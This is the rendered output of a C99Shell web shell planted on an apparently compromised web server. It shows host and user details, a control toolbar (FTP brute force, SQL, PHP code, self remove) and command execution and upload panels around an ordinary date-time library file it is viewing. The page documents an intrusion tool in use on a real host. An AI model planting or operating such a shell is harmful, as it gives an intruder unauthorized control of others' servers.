!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/opening-hours/src/   drwxr-xr-x
Free 23.65 GB of 117.98 GB (20.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Time.php (3.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\OpeningHours;

use 
DateTime;
use 
DateTimeImmutable;
use 
DateTimeInterface;
use 
DateTimeZone;
use 
Spatie\OpeningHours\Exceptions\InvalidTimeString;
use 
Spatie\OpeningHours\Helpers\DataTrait;
use 
Spatie\OpeningHours\Helpers\DateTimeCopier;

class 
Time
{
    use 
DataTraitDateTimeCopier;

    
/** @var int */
    
protected $hours;

    
/** @var int */
    
protected $minutes;

    protected function 
__construct(int $hoursint $minutes)
    {
        
$this->hours $hours;
        
$this->minutes $minutes;
    }

    public static function 
fromString(string $string): self
    
{
        if (! 
preg_match('/^(([0-1][0-9]|2[0-3]):[0-5][0-9]|24:00)$/'$string)) {
            throw 
InvalidTimeString::forString($string);
        }

        list(
$hours$minutes) = explode(':'$string);

        return new 
self($hours$minutes);
    }

    public function 
hours(): int
    
{
        return 
$this->hours;
    }

    public function 
minutes(): int
    
{
        return 
$this->minutes;
    }

    public static function 
fromDateTime(DateTimeInterface $dateTime): self
    
{
        return static::
fromString($dateTime->format('H:i'));
    }

    public function 
isSame(self $time): bool
    
{
        return 
$this->hours === $time->hours && $this->minutes === $time->minutes;
    }

    public function 
isAfter(self $time): bool
    
{
        if (
$this->isSame($time)) {
            return 
false;
        }

        if (
$this->hours $time->hours) {
            return 
true;
        }

        return 
$this->hours === $time->hours && $this->minutes >= $time->minutes;
    }

    public function 
isBefore(self $time): bool
    
{
        if (
$this->isSame($time)) {
            return 
false;
        }

        return ! 
$this->isAfter($time);
    }

    public function 
isSameOrAfter(self $time): bool
    
{
        return 
$this->isSame($time) || $this->isAfter($time);
    }

    public function 
diff(self $time): \DateInterval
    
{
        return 
$this->toDateTime()->diff($time->toDateTime());
    }

    public function 
toDateTime(DateTimeInterface $date null): DateTimeInterface
    
{
        
$date $date $this->copyDateTime($date) : new DateTime('1970-01-01 00:00:00');

        return 
$date->setTime($this->hours$this->minutes);
    }

    public function 
format(string $format 'H:i'$timezone null): string
    
{
        
$date $timezone
            
? new DateTimeImmutable('1970-01-01 00:00:00'$timezone instanceof DateTimeZone
                
$timezone
                
: new DateTimeZone($timezone)
            )
            : 
null;

        if (
$this->hours === 24 && $this->minutes === && substr($format03) === 'H:i') {
            return 
'24:00'.$this->formatSecond($format$date);
        }

        return 
$this->toDateTime($date)->format($format);
    }

    public function 
__toString(): string
    
{
        return 
$this->format();
    }

    private function 
formatSecond(string $formatDateTimeImmutable $date null): string
    
{
        return 
strlen($format) > 3
            
? ($date ?? new DateTimeImmutable('1970-01-01 00:00:00'))->format(substr($format3))
            : 
'';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--